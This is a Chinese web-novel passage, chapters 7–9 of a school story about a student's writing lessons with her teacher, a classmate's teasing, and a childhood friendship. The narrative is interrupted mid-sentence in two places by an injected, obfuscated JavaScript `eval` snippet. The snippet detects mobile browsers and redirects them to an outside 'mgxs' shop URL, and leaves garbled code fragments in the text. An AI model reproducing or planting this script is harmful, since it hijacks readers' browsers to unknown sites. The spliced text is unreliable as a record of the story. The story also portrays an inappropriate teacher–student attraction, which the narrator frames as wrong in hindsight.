班级里响起一阵唏嘘声,崔俊恒看气氛太沉重了,又分享了两件蒋南行念初中时候的骚事。 其一是蒋南行那个时候刚刚对颜值有所醒悟,学习人家打耳钉,但是自己是易过敏体质,整天耳洞都痒痒的,他为了帅很能克服困难,结果回家了他外公闻到他好臭,这才发现耳朵都已经化脓了。 他说蒋良达其实是个内外兼修的企业家,私底下还会吹萨克斯,蒋南行看着觉得挺帅的,也学过一阵,然后在雅达的年会上上台表演,给无法回家,驻留在珠沙的外地打工仔吹了一首萨克斯名曲《回家》,员工们声泪俱下,对董事长的小外孙赞不绝口,蒋良达心里一感动,当晚便把他在南洋上大学时的那把天价萨克斯传承给外孙。蒋南行收到便塞进他的书包,第二天还用校服遮住戳出来的一届,偷偷摸摸地背到学校,给同学们表演了他最喜欢的《奇迹再现》。 故事只讲到这里,体育课就已经结束,蒋南行抱着篮球从教室外热气腾腾地进来,隔着几米把篮球投进教室角落的器材框里,转头大声地说:“陈亦佳,上去拿作业?” 陈亦佳回了声“好”,跟在蒋南行身后,看到他撩起袖子露出了流畅了肌肉线条,在上臂中央,还有一条颜色很浅的愈合线。 7. 第 7 章 由于蒋南行的加入,陈亦佳自认的那段隐秘的时光犹如遭到强光暴晒,一下子就索然无味,变得像张干巴巴的白纸。 陈亦佳还为此暗自忧愁过一段时间,但事情的发展就是峰回路转的。有次语文课后,陈亦佳正埋头刷题,忽地看到一个鸡心状的领结,她抬头,邱宇敲了敲她的桌子,“你跟我来趟办公室。” “好的。”陈亦佳答应一声,跟着邱宇往楼上走,还频频回头,发现蒋南行已经不知道野哪去了。 邱宇这次找她也不是为了收作业,由于是下午了,有的老师还在上课,不坐班的人也已经走了,大办公室只有他们两人,邱宇给她拉了一下椅子说:“课代表同学,你坐。” 陈亦佳在对面坐下。看着邱宇又慢条斯理地把桌面上的东西收拾干净,将显示器连同他的鼠标垫一起挪开,陈亦佳等他开口的这段时间好像在等一个审判。终于,他推了下眼镜,说:“老师想先问问你,我们开学已经快两月了,你对我的教学有什么意见吗?有什么不适应的都可以说。” 陈亦佳的脑子翻转了一下,想到的都是满意的地方,没有什么意见,“没有,挺好的。” 邱宇又推了下眼镜,漫长地说:“是这样的,老师想找你聊聊你的语文学习。你看你各科的成绩都很拔尖,就只有语文差了点,我这段时间也观察了一下你的学习状态,发现你也挺喜欢语文的,是吗?” 陈亦佳缓缓点头。 邱宇温和地笑了一下,“你要是不喜欢,老师也懒得跟你说这些了;就是因为你喜欢,也很努力,所以我想来跟你一起找下原因,究竟是哪儿不对,为什么其他科都做得这么好,只有语文不行。” 陈亦佳被这话说得也挺苦恼,她有点委屈地说:“邱老师,其他科学得好可能是因为我很努力,多花点时间就能找到规则;但是语文上,好像越努力,找到的规则越离谱。所以我后面打算只拿客观题的分值了。” 邱宇仰头望着虚空,长舒一口气,陈亦佳从他脸上看出一种很难办的感觉。他问:“只拿客观题的分值?这是上一位老师给定的路线?” 陈亦佳“嗯”了声。 邱宇看着她的眼睛说:“课代表同学,可能我没有王老师有经验,但这方面我跟她有些不一样的意见,我不会放弃任何一个同学。如果没救的人不会自己去读课外书,你也不甘心只拿这点分数吧?” 陈亦佳起初被“放弃”和“没救”两个字伤了一样,她短暂地回忆了下和王老师的相处,得出即使语文很差,王老师也并没有对她抱有这两种态度,这才放心地听后面的话,被“不甘心”这个词又撞了一下。 她抬起头看了下邱宇了眼睛,发现他正在循循善诱地等着她的答案,于是她小幅度地点了点头。 邱宇又立即笑了笑说:“兴趣就是最好的老师,你愿意学就是最好的办法,学语文最重要的是表达你真实的意图。比如你这次在周记里提到的想去地图之外的城市都很不错,我通篇都能看到你的想法和渴望,不像你以前写的议论文,一股劲堆积好词好句,但是整个论证过程很很松散。” 陈亦佳听得耳朵发热;很怕他说自己是屎盆子镶金边。 邱宇又说:“这样吧,你每周来我这里多学一个小时,我先跟你讲讲作文,我们先从写好一篇好的作文开始。” 陈亦佳点点头。 邱宇翻了翻她的周记本,说:“我们先从最基础的写入开始吧,写一个你印象深刻的人,先练好基本功。” 陈亦佳一时没想到能写哪个印象深刻的人,但这是学习任务,她没有拒绝。 就在这时,蒋南行报告都不喊,在门外就嚷嚷,“邱老师,你要给陈亦佳开小灶啊?” 两人看着门口的蒋南行,邱宇推了下眼镜,笑着说:“给课代表同学补补作文。” 蒋南行说:“给我也补补呗。” 邱宇笑了笑,没说话。 陈亦佳一下子就觉得蒋南行真是烦透了,富家子偏要抢赈灾粮,她说:“你已经写得很好了。” 蒋南行一下子就明媚起来,他的嘴巴歪着,憋不住笑意,“是嘛?陈亦佳虽然你的想法很奇特,但是审美是很在线的。其实我也没有你想象的那么厉害,就是把你学数学英语物理化学的时间拿来看书了而已。” 陈亦佳的表情空白了一瞬。 “哎——你那什么表情?你这人真是一点不真诚。邱老师——”蒋南行转头,“邱老师,你听出来了吧?她这是捧杀!用甜言蜜语麻痹我的斗志,想让我固步自封,我现在很有危机感,学如逆水行舟,心似平原走马。我就只是个平平无奇的有点天赋的人,我要是江郎才尽了怎么办?您这课我更得上了,我得时刻保持清醒,不能被这种糖衣炮弹腐蚀。我看这样,我们不如组成一个学习小组……” 邱宇听着他胡扯,不打断也不接话,只是笑着听着。 陈亦佳受不了了,她站起来扯了扯蒋南行的校服袖子,说:“要上课了,快点走吧。” 蒋南行停住跟邱宇说话,立即追上陈亦佳,继续骚扰她,“我是说认真的,你负责提供天马行空的想法和那套神神叨叨的论证过程,然后通过我的魔力手把它变成everybody都能听懂的人话;邱宇负责,他负责——” 他半天没想出来邱宇负责什么,陈亦佳已经烦得发慌,挤出一个假笑,说:“我觉得你就是天赋型的,老天爷追着赏饭吃,自己掌握了一派方法贯穿始终就可以,跟我组队反而浪费了你的学习时间。” 蒋南行反复明媚,“你这套总结有点道理,但是天赋只占一小部分,我也是要经常学习的。反正还是要大量的积累和输入,说到输入,你买的那本小说看完了吗?” “啊?”陈亦佳反应了一下,“看完了。” 蒋南行说:“那你借给我看。” 陈亦佳想起了那个周五下午,阳台上看到的一角天空,云卷又云舒,暮色逐渐笼罩视野。她说:“现在有很多现货了。” “啊?什么意思?不借给我吗?”蒋南行的声音忽地就变得很大,“你怎么这么小气?我也不是天天无所事事地到处逛的。而且你们女生不是一本小说全班传吗?我就看看怎么了,当初不是我让给你你能买得到吗?跟猪八戒护人参果一样,我是真服了。” 陈亦佳“啊”了声。 “借给我啊?” 他闹得太厉害了,况且陈亦佳在羞耻个什么劲儿,要羞耻也应该是写小说的人羞耻才对,“嗯,快走吧我拿给你。” ------------------------------------- 根据推测,蒋南行的阅读速度应该不快,从他拿到那本书后消停了一段时间。 陈亦佳也开始构思她的作文。一个对她来说印象深刻的人,一个对她来说有影响力的人,感动别人之前要先感动自己。 陈亦佳那周都在绞尽脑汁地想,导致其他作业都后延了,晚上又延长一个小时睡觉,第二天挂着黑眼圈背单词时,感觉自己好像一只游魂野鬼马上要回地府。 但她又充满干劲。 后来她终于想起来要写的人是谁。 那是小学时期的一个同学。在文章里,她称那个女生叫做小刷。小刷得名于她长着一头蓬松的沙发,惯用香蕉夹束起来,从身后看就像一把巨大的刷子。小刷的个子很高,坐在最后一排,她的皮肤很白,眼睛很大,像一个维吾尔族女孩儿,她性格开朗,有很多朋友,对朋友也很大方,喜欢拿着当时很流行的星黛露贴纸送给班上的女孩子,因此总是被人簇拥着。 陈亦佳从小到大,上学只坐过前三排,一次班上同学布置教室前角,借了陈亦佳的桌子,导致她那天上课都坐在最后一排。后排很喧闹,小刷和朋友们玩手头剪刀布,又翻花绳,用各种游戏评出一个赢家,赢家可以获得小刷的贴纸作为奖品。 陈亦佳被他们石头剪刀布的声音吵得耳膜疼,她只能捂着耳朵闭着眼睛背课文,有个人拍了下她的肩膀,陈亦佳睁开眼睛,看到一张很大的紫色兔子贴在她的手背上。 小刷笑着看着她。 陈亦佳讷讷说了句谢谢,即使不喜欢星黛露,她也为了那个贴纸开心了很久。 那天之后,陈亦佳搬回第一排,和小刷没有过多的接触,再有一次印象深刻的是五年级时。那天有堂音乐课,音乐老师提前把电子琴放到教室里。那时候,小刷和一帮同学教室前面打闹,正式上课时,那音乐老师的键盘却一个音都按不出来。 那时候的音乐课算是比较有娱乐性的,一周一堂,音乐老师在课堂上发了点脾气,大家不仅没得玩了,甚至还一个个垂着脑袋,像是集体犯了那个错误。 那还不算完,最后一堂课,轮到班主任的课,她大发雷霆,在课堂上给他们纠正纪律,就真的要揪出一个罪魁祸首一样,一意孤行觉得是别人弄坏了音乐老师的昂贵钢琴,经过几番盘问,很快就锁定了课间闹得最疯的小刷。 小刷被叫上台,被点名演示她是怎样闹的,演示她的活动范围和电子钢琴到底相距多少的距离。 小刷即使能大方地把一整张星黛露贴纸送给朋友,但不至于她的家庭就能够随随便便赔给别人一架电子钢琴,陈亦佳印象里,那时小刷为自己据理力争时昂着头,眼睛红红的。 老师又问跟她一起闹的几个人:“谁看见了?她说的是真的假的?谁相信她说的?” 小刷的目光在他们一群人里逡巡,她希望有个人能出来,证明自己并没有做过那些事情。 班主任看到举手的陈亦佳,问:“陈亦佳,你还有什么要补充的?” 陈亦佳说:“老师,我相信她。” 老师问她:“你也参与了?” 陈亦佳摇摇头,很缓慢地说道:“我看到了。” 她想了想,补充道:“我坐在第一排,看得很清楚,她没有碰到过钢琴。” 陈亦佳写,后来小刷对她说:被人相信的感觉很难忘。 她频频找陈亦佳一起玩,也是唯一一个在陈亦佳考了第一名后,还愿意相信自己没有考好的人。 后来陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136097|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦佳和小刷的关系越来越好,有一天陈池和陶立芝都要晚回,小刷得知后就买了蛋糕邀请陈亦佳去她家里玩。 陈亦佳第一次去自己的朋友家里玩,很兴奋。小刷才十岁左右,就经常一个人在家,她家是个宽阔的大平层,屋内的装饰很漂亮,她向陈亦佳展示了爸爸的手表,妈妈的珍珠项链,还爬到桌子上把家里的挂画取下来给陈亦佳看。 陈亦佳不明觉厉,一路称赞厉害,后来小刷跑进了房间待了挺久,陈亦佳以为她累了没空招待自己,于是抱着其中一个芒果班戟坐在沙发上舀着吃,打算吃完就回家。 没想到忽地响起了一阵音乐声,小刷踩着高跟鞋,露着长腿,穿着一件巨大的黑西装,带着礼帽,迈着六亲不认的步伐从房间走到走廊,又走到陈亦佳面前,摸了把陈亦佳没合上的嘴唇;又往回走几步,取下帽子,扬手一扔,把陈亦佳没吃完的蛋糕砸到地上;随即又往回走几步,把腿踩在茶几上,冲陈亦佳眨了下眼睛,问:“陈亦佳,我帅不帅?” 陈亦佳愣了几秒,抓起书包就跑了,连电梯都没敢等。 陈亦佳接着写,她回去反思了下,觉得这样很不礼貌,还把芒果都蹭在人家的白沙发上,她打算去找小刷道歉。小刷没有生气,还问:“吓到你了?小陈亦佳。” 小刷后来没有出现过那样状态失常的时候,陈亦佳恢复了和她的友谊。可是和小刷在上完初中就转学去了别的城市,她们到现在并不怎么联系。 …… 陈亦佳在写这个故事时,长长地沉静在过去地回忆里,想起和小刷的故事,她觉得邱宇要求的印象深刻,影响大,感动自己,这三个要求都做到了;于是,从上交周记本她就期待着邱宇写的评语。 邱宇拿到那本蓝白格纹的本子时,笑着问她:“你写的是谁啊?” 陈亦佳说:“我以前的一个朋友。” “是吗?”邱宇停下翻本子的手,把本子收起来,又推了下眼镜,笑着说,“那我可得好好看看。” 可能是班上的人太多了,邱宇又接上了许多学校的行政任务,陈亦佳等了一周才拿到笔记本;她在蒋南行没看到的空隙看了自己的评语。 【可以从字里行间感受到坐着对于小刷的感情,整个故事也充斥着一种哀而不伤的美感,在描述情节这方面有很大的进步。但缺点是整篇文字都充斥着一种朦胧感,我能在故事中感觉到你的幸福、后悔甚至有释怀。需要注意一件事,文学作品(作文、小说、电影、电视剧)在向读者展示完这个故事时,同时展示出主角的变化,可以是达成了什么目标,明白了什么道理,改变了什么想法等;像你做数学物理一样,通过漫长的解题过程得到最终的结果。写作也是整理自己心境的方式,你可以思考一下怎么更有条理地表达自己的主题。】 陈亦佳抱着十几本作业边走边想,自己想表达什么样的主题,为什么会想写小刷;她不停地剖析,发现最促使她写小刷的情绪是愧疚。 小刷其实从很小就有确定要走艺术路线的,可能那天的疯狂台步只是小刷本性的表现的一种;每个人都希望自己被看到,小刷很信任陈亦佳,所以在陈亦佳面前展示出这样的自己,而当初的陈亦佳却因为过于没有见过世面被吓傻,也许在无形中给小刷造成过伤害。 她想得出神,听到蒋南行正在叫她;他抱了一大半的笔记本从后面追上来,神神秘秘地说:“陈亦佳,你好变态啊。” “啊?”陈亦佳仰头看着他,“你又在发什么癫?” 蒋南行往前走了一步,他站在更高的楼梯上,像个过度发育的生物,几乎把陈亦佳的视线都笼罩出,小声地吐出两个字,“芋虫。我看了你的注解,想不到你看着斯斯文文的,居然最喜欢这篇。” 陈亦佳反应了一瞬,随即脑子像被炸开,冷风不停地灌进去。 那本书里有个叫芋虫的故事,是讲一个女性把残疾的丈夫锁在家里发泄欲望,发泄生活中的不如意的故事,那时陈亦佳看到只觉得神经发麻,她自然知道那是一个十分不健康的故事。可是,拥有一个完全属于自己的,没有能力背叛人的这种满足感实在是有些难以抵抗。 可是又可是,这种想法实在不方便展露在阳光下。 陈亦佳咽了口唾沫,脑子不停转动,那瞬间在思考把蒋南行推下楼摔傻的可能性,或者直接撒谎,说那不是自己写的,是她从网上摘抄来的? 还没等脑子想出完美的方案,陈亦佳听到蒋南行说:“但是,好他么刺激啊!” 陈亦佳动了动嘴唇,怕自己发出什么再加深误会的声音。 蒋南行凑近了说:“是吧?我早告诉你了,畅销书就是这样,精不精彩?” 陈亦佳被他注视着,不知道该不该点头。 蒋南行又自顾自地点评起来,“我看之前没想到是这种风格的,哈哈,我倒是第一次看到这种类型的文章。” “而且你写得那篇注解也很刺激,哈哈哈,我没想到你会喜欢这些,打开新世界的大门了,这个作家还有其他的书,到时候我推给你啊。” 8. 第 8 章 陈亦佳再一次对畅销书改观了。畅销书之所以是畅销书,的确有符合人类感情共性的因素在。 蒋南行尽管幼稚又无理,但他的那天的话也让陈亦佳感觉自己发霉的一部分站在了阳光下,面对别人的时候不再那么捉襟见肘。 因为自己的被看见,陈亦佳越发觉得当年愧对齐玉娜,但齐玉娜从未因为那件事情责怪过她,陈亦佳即使后来想道歉,也不合时宜且事出无因;随即,她又品出了点自己对齐玉娜的想念。只是,太久没有联系,关于她的的记忆还存档在猝不及防分别的时候。 邱宇说她的文章哀而不伤,有对逝去友谊的后悔,陈亦佳又仔细地看自己的文章,她想她的友谊真的已经离开了吗?对于这段友情,她好像是一个模糊的受摆布者,不知道怎么开始的,也不会像考试完成,比赛结束,战争停止一样,有一个终点事件,原来很长一段时间没有联系,就代表她的友谊已经结束了吗? 那个周末陈亦佳拿到手机,又给齐玉娜发了消息,问她在吗?你现在在哪个学校啊?很多年后,人们吐糟那时用社交软件总爱先问一句“在吗”是没事找事,对陈亦佳来说是非常有必要的一个开场白,以便判断接下来能否继续叨扰。 她把手机开了振动,丢在桌肚里,一边刷题一边等,直到那天结束,老师再来收走手机,陈亦佳都没有收到消息。 收到齐玉娜的消息,是下一周的周末,在此之前她都在反复强化自己已经失去这段友谊了。一开机,那个黑色的直板手机不停地振动起来。 【在在在!!!】 【是小陈亦佳吗?是你吗?】 【我靠,换了手机,聊天记录都丢了,又没打备注,找不着人了,你怎么一直也不给我发消息啊?】 下一条又介绍了自己在哪个学校。 后面她们便畅聊起来,齐玉娜的打字速度很快,她说她现在改学表演了,已经过了集训,现在在准备文化课,文化课真是难学,毕竟不是所有人都是变态陈亦佳。 她还指导陈亦佳去空间看自己现在的照片,陈亦佳说自己用的是办校园卡送的手机,看不到照片,她又撺掇陈亦佳去网吧,说自己现在很漂亮,问难道陈亦佳对她现在长什么样就没有一点兴趣? 陈亦佳有答应她下周周末可以挪出一点时间去。 陈亦佳去的是靠近家那边的网吧,因为家附近的网吧不会碰到陶立芝,但学校的网吧附近肯定会碰到同学。她在去之前就收到齐玉娜让她取快递的信息,拿着一个盒子一边往网吧走一边拆,每隔一个垃圾桶就要扔掉一层包装,最后剥出一支口红;到网吧的大屏幕前,按照齐玉娜的指示点进去,照片一截一截地加载出来,露/出齐玉娜的脸。她给齐玉娜发消息:你现在好漂亮啊! 齐玉娜说都是靠的化妆。说现在自己很强,以后见面了也要帮陈亦佳打理自己。 陈亦佳回了个“啊?”,看了看摆在桌子上的口红,说自己现在上学用不上。 齐玉娜说只有书呆子陈亦佳会这么认为,她让陈亦佳仔细想想,是不是班上有的女生的颜商已经很高了,把头发弄得又黑又有光泽,把腿垫得很长,把脸弄得白里透红,跟你们一群小孩儿站在一起像两个世界的人。 陈亦佳的关注范围窄,看着这行字,关于颜商其实她只想到了蒋南行——蒋南行的确整日把自己弄得光鲜亮丽的,头发又黑又有光泽,腿长得塞不进桌子里,上完体育课后脸就是白里透红的,但是很像成年人?那绝对没有吧。 随后,齐玉娜还发了个图示过来,给她区分哪种是自然的肤色,哪种是上了粉底的皮肤。 可以看出,齐玉娜最近的兴趣又转移到了美妆上面,她让陈亦佳拆开口红涂上。那支口红是一个很像番茄的颜色,齐玉娜说很适合她,因为她夏天很喜欢吃小番茄,这个色号的口红绝对能把她衬得像夏天里的一个小番茄。陈亦佳想象着自己是一颗趴在塑料薄膜上的小番茄,在大棚里争当番茄第一刷题刷得缺氧。一边将口红涂上,嘴唇一周都是番茄混合着巧克力的味道,的确让人心情非常愉悦。 她用电脑摄像头拍了半张脸的照片发过去。齐玉娜的溢美之词马上过来了,大赞她肤白貌美,说她是清冷美人。 陈亦佳嘿嘿两声,也把照片放大来看,电脑摄像头的角度并不好调,只拍下她一小部分的脸,红色的嘴唇以自然的力度抿着,形成一个M的形状,发绳靠在左侧肩膀上,那个用久了的粉色蝴蝶发饰看上去有点朦胧美的氛围,只有放大图片细看才能看出起了点毛刺。 人会根据半张脸的照片补足另外半张脸,陈亦佳觉得补足下来的样子并不像自己,手机里的人充满了一种很伤感的氛围。 她又想起了邱宇说的悲伤的氛围,脑子里莫名有了一些想法。 和齐玉娜的聊天结束在她的家教来了时,陈亦佳缓缓往学校走去,构思着她的新故事。 【蝴蝶是她的名字,她美丽又开朗又有内涵,是家长最拿得出手的那类女儿,她的英文名字是BUTTERFLY,这是一个开音节,读的时候就能想象蝴蝶她画着艳丽的口红,雪白的皮肤在阳光底下泛着饱满的,亮闪闪的光泽;但是凑近了才能看清她的身体的绒毛凌乱。】 陈亦佳写了这样一个叫蝴蝶的女孩子,她一直走在世俗观念中最正确的道路上,接受的向来是赞美之词,她所到之处都受到男孩儿们的追捧,她的家庭为她安排的相亲对象都是人中翘楚;一朝失误,以往的红利消失殆尽,她才明白以前的“绅士礼仪”和“女士优先”都是些空中楼阁的礼让和优待,在争夺起利益时不论男女老少都面目狰狞。在低谷期时,她爱上了自己毛毛虫般的“傻子弟弟”,跟他一起用幼稚的观念重构世界,成为他们爱情的实际掌舵者和护航者,她才重新感觉自己的手中握满了力量。 陈亦佳知道自己所处的环境和年龄阶段,学校看待早恋如同洪水猛兽,况且十七八岁的人,谈爱色变,是个提起“爱情”便会不屑发笑,但心底又会期待害羞的年纪。没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136098|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人会跟别人讨论这个话题。 可是那也是一个话题,而且是很独特的话题,不是吗?两个人通过这个话题互相接近,确定唯一性和排他性…… 陈亦佳交上周记时,感觉自己异常孤勇,她很清楚自己是在试探。 ------------------------------------- 等回馈的时间异常漫长,陈亦佳那一周去往邱宇办公室抱作业时,目光总是会往那一摞周记本里瞟,她甚至连前几个笔记本的花色顺序都记清了。后续又听同学讲,学校里有风声,邱宇将会被升为办公室主任,那是个什么官职不太清楚,总之邱宇跟着终日跟着一派领导到学校这转那转的,批改作业的速度越来越慢。 从急切期盼到钝刀子割肉,陈亦佳强迫自己不再去想那件事情。又一个周五,蒋南行上完体育课去办公室顺便抱了作业;当一大个人影立在陈亦佳的课桌旁时,她还有点愣。 蒋南行偏头指了指机柜上的一厚摞,“今天是我一个人抱的,公平起见,你负责自己发。” “可以。”陈亦佳答应着转头,看到自己蓝白棋盘格的本子就放在最上面,她的心脏猛地就跳动起来,又转头看了下蒋南行,蒋南行已经活动着脖子往教室外面走了。 陈亦佳很迅速地按照叠放顺序分成四摞,放在每组的第一排,拿到自己那本,翻开时还有些做贼心虚地往四周看了看。周遭的人都在忙自己的事,蒋南行靠在门口的栏杆上,视线落点刚好是里面的陈亦佳,捏着百岁山的瓶子喝水,样子看起来挺深沉。 陈亦佳很熟悉那种眼神,看并不是在看,只是暂时把视线放在某个位置,视网膜的信息只传递到枕叶,不传递到额叶;况且离得很远,蒋南行就算五点零的视力也看不到她的本子。她翻开周记,从来没想到这篇文章收到的回馈是这样的。 文章末尾贴上了一张便签纸,上面按她的描述画了一只艳丽的、主体色调为粉色的蝴蝶。蝴蝶的翅膀上能看到细致的纹理,上面用彩色的笔涂满了轻盈的、闪着光的鳞粉。陈亦佳难以形容当时看到的震撼,那只蝴蝶好像下一秒就要振动双翼;而她起先似乎忘了心跳,随后心脏又剧烈地跳动起来。 她想起了邱宇办公桌上那支笔筒里各色的马克笔,人怎么可以用那些单调的颜色创作出这样的作品。她没有收到任何文字的回馈,但收获的信息有很多。邱宇是个成年人,会很温柔地对她说话,会帮她搬桌子,会给她开小灶,点播她的想法,没有一个成熟的人会花那么长的时间在她的作业本上画一只她脑子里的、精致脆弱的蝴蝶。 她捻着作业本的一角抬头,视野中,蒋南行已经没往这边看,他做了个投篮的姿势,将瓶子投进门口的垃圾桶,视线又飘忽回来跟陈亦佳撞了一下。 陈亦佳挪开目光,相比之下很容易感念起成年人的魅力。成年人很好沟通,他能轻松看出她的试探,明白她的跃跃欲试,领悟到她的意思,给与她姗姗来迟但深思熟虑的回应。 9. 第 9 章 陈亦佳沉静在学习中,鲜少发现世界是瞬息万变的;经常是做试卷做到麻木,只有偶尔伸手拿试卷时,能在书包夹层里摸到齐玉娜送的那支口红,会感到自己的专注之外,还存在一个世界。 除此之外,每次跑跑语文办公室,在封心锁爱学习的间隙,跟邱宇说几句话就能让一天的枯燥生活中冒出几个气泡。上次的蝴蝶事件之后,邱宇没有进行过进一步的按暗示,但市场有那种轻微的身体接触和玄妙的话语,让陈亦佳觉得身体麻麻的。 和邱宇之间的互动是让人舒适的,但陈亦佳回想起那段时间,觉得她可能从来也没有想搞清楚过事情的性质。其实一个教师一个学生,自己知道不会有明媚的未来,回想起来,形容得玄妙一些,那有点像有家室的男人出轨,沉静在朦胧美好的氛围里,知道不对,对目前事情尚且可控,便听之任之。 况且陈亦佳每天做题真的很辛苦,她需要给自己找一点隐秘的乐子。美中不足的是,被蒋南行知道了,他必然会跟着去,他在这一科目上表现出了很大的热忱,好学到仿佛怕陈亦佳比他多学了一点。 与蒋南行为伍和陈亦佳的低调、平静的风格是及其相悖的。这人自来熟又嗓门高,而且据陈亦佳观察,他也不是个很明显的笨蛋。反而很像一只反应迅速的花花孔雀,体育课上并排跑的大姐大冲他吹口哨,去食堂排队能遇到熟人要求插队;体育课一起打过羽毛球的新人会到班级上打听他。 那时候,邱宇给陈亦佳开小灶已经大半个月,期间她们开过一次家长会,邱宇还跟陶立芝提过这事情,回去后陶立芝还盘问了这事儿,陈亦佳自然不可能详细说明,只说邱宇给她指导。 陶立芝便扳出了她很擅长的那一套——那你要不要送你老师个礼物表达感谢啊? 起先陈亦佳是很不齿的,但是经过几次,她看待邱宇经常用手指拨弄挂在文件夹上那只娃娃,陈亦佳还是有了送礼这个念头。 但选择什么,对于两耳不闻窗外事的陈亦佳来说是有点困难的。 给她一些灵感的,还是很擅长和外界打交道的蒋南行。 那天下午他们一起抱着练习册往下走。之前那个对蒋南行吹过口哨的女生拎着一个袋子出来,她特酷地冲蒋南行点了点头,隔了点距离扔了个盒子到蒋南行抱着的练习册上,“给你带的。” 她说话的样子挺帅,就像大哥赏赐给小弟,不像是送喜欢的男孩吃东西,那也是陈亦佳发现的一个特点,很多女孩儿看起来都很喜欢跟蒋南行玩闹,但以被发现喜欢他为耻。蒋南行对此浑然不知,他顶起膝盖抵了一下练习册,问:“什么?” “巴斯克。” 蒋南行皱了下眉毛,“什么玩意儿?” “巴斯克啊,土狗。” 那是一个浅蓝色的丝绒盒子,看起来很厚,设计得很精致,是用来保存什么冷藏食品的,陈亦佳离了几米,还是能闻到一种醇香的奶油味和新鲜的水果味。 那个丝绒盒子马上要从练习册上滑下来,蒋南行看了眼几乎空着手的陈亦佳,喊道:“陈亦佳,帮我拿下盒子。” 齐刘海女生也马上看过来,陈亦佳不敢再偷看丝绒盒子,没理他就溜走了。她回座位后有跟同桌打听下那个盒子,那是学校外新开的一家小众蛋糕店,价格有点贵。 陈亦佳家里的收入主要还是靠陶立芝一个又一个的四千块,即使她拿了挺多奖学金,但是生活是一个永远在漏水的筛子,母子俩虽然没有生活不下去,但相对来说是很拮据的。 陈亦佳手里倒还是有两百多块的结余,但她其实有自己的计划,那段时间不知道是不是语文学猛了,没有休息好,听着英语听力总是觉得听不懂,那些语音好像在脑子里撞了一下就飞走了,完全捕捉不住,她原本的计划是买一个MP3,可以在睡前听一会儿。 可是送礼物的想法又总是盘桓在脑子里。两相纠结,她既没有买到MP3,也没有把钱花掉去买蛋糕。 事情终于等到了解决办法,学校通知每天下午五点半到七点这段时间会在校园广播后会在特定的频率投放听力练习,需要带上很丑的那个黑色耳机才能听到;大家都没有当一回事,因为那个杂音太大,且那个时段大家都在吃晚餐,劳累加上食困,很少人愿意在那时学习。 陈亦佳觉得可以暂时先用那个,可能再等一个月,她从生活费里再结余出一个新的两百块时,再进行新的计划。 柠檬巴斯克是陈亦佳自己揣着钱去选的,那的确是学校外面很洋气的一家店铺,地址在一排梧桐树底下。在树荫较少的珠沙,这样的店铺地租无疑是非常贵的。那角蛋糕长得就像教材上标准的蛋糕,泛着柠檬味道的香气,恬淡温和,很贴合邱宇的气质。陈亦佳拿两百块的现金去换这一角东西时还算从容,但送东西时就很心虚了。本来是淡雅的颜色,她现在拿起来觉得过于招眼了,好像端着一把勃朗宁,惴惴不安地往办公室走。 她站在门口喊了一声:“报告。” 里面坐的不仅仅有邱宇,对面还有一个女生,瘦高的个子,白色蕾丝袖口的娃娃裙子,她的头发齐齐地顺直地垂在肩头,邱宇正在指着一张试卷给她看,她们两人坐在办公桌地对面,几乎头贴着头,画面很静谧很好看。 陈亦佳回忆起来,觉得那个时候自己的脑子好像已经很紊乱了,她第一时间觉得那样的画面很和谐,至少比小天鹅和龇牙咧嘴啃鸡腿的人坐在一起更和谐。 但这份和谐是她打破的。两个人转过头来,女生没有说话,邱宇推了推眼镜,他甚至没有喊进来,问她:“课代表同学,你有什么事吗?” 陈亦佳这才发现自己的双手已经背在身后,和丝绒蝴蝶结缴在一起,她顿了顿说:“老师,我来问问这周的作业需要收吗?” “先不收吧。”邱宇推了一下眼镜,说:“我最近事情比较多,你跟大家说一下,跟上周一样,这周的周记也先囤着,我后面一起看。” 跟上周一样先囤着? 陈亦佳还在怔愣中,邱宇又问她:“还有什么事吗?” “没了。”陈亦佳摇摇头。 邱宇说:“那你先下去上课吧,我这里还有点事。” “好的。”陈亦佳心间坠胀着疼痛,她拎着盒子走过办公室的墙角,又走过饮水区的垃圾桶,在那儿站着的时候感觉自己有点想哭,柠檬味消失,她好像闻到了记忆中的花椒味。痛苦得像冬天清晨卧在被子里时被人猛然掀翻了被窝,她咬了咬牙,把盒子扔进了垃圾桶里。 “陈亦佳,你自己上来怎么不叫我?这样不算旷工,我不可能一个人发完所有的作业。” 陈亦佳抬眼来,正和蒋南行对上眼,蒋南行咧着的一侧嘴角放下来,他的目光应该是落在自己脸上,有点震惊地问:“你怎么眼睛红了?” 陈亦佳使劲地眨了眨眼睛,很不巧,一颗很大的眼泪挤出来了。 “你怎么哭了?”蒋南行视线一顿,没有嬉皮笑脸的那种表情,审视人时显得有些锐利,陈亦佳不愿意再与他对视,埋下视线,蒋南行跟着看过去,看到垃圾桶里突出来的蓝色盒子,他往前凑了些,站在垃圾桶前弯腰看,“这是你扔的?” “脏了。”陈亦佳说完便离开,蒋南行跟上她,在她的旁边胡说八道,“不会是因为这个哭了吧?落地三秒都不算脏,你掉了多久?而且这不是还没拆开嘛?怎么会脏了?” 其实陈亦佳的行走速度已经很快了,但由于她们的行走工具在长度上有差距,蒋南行总是很轻易地又站在她旁边,“因为这个至于吗?早说我把之前那个也给你。叫你你还状没听到,这会儿掉了还能把眼泪挤出来。” 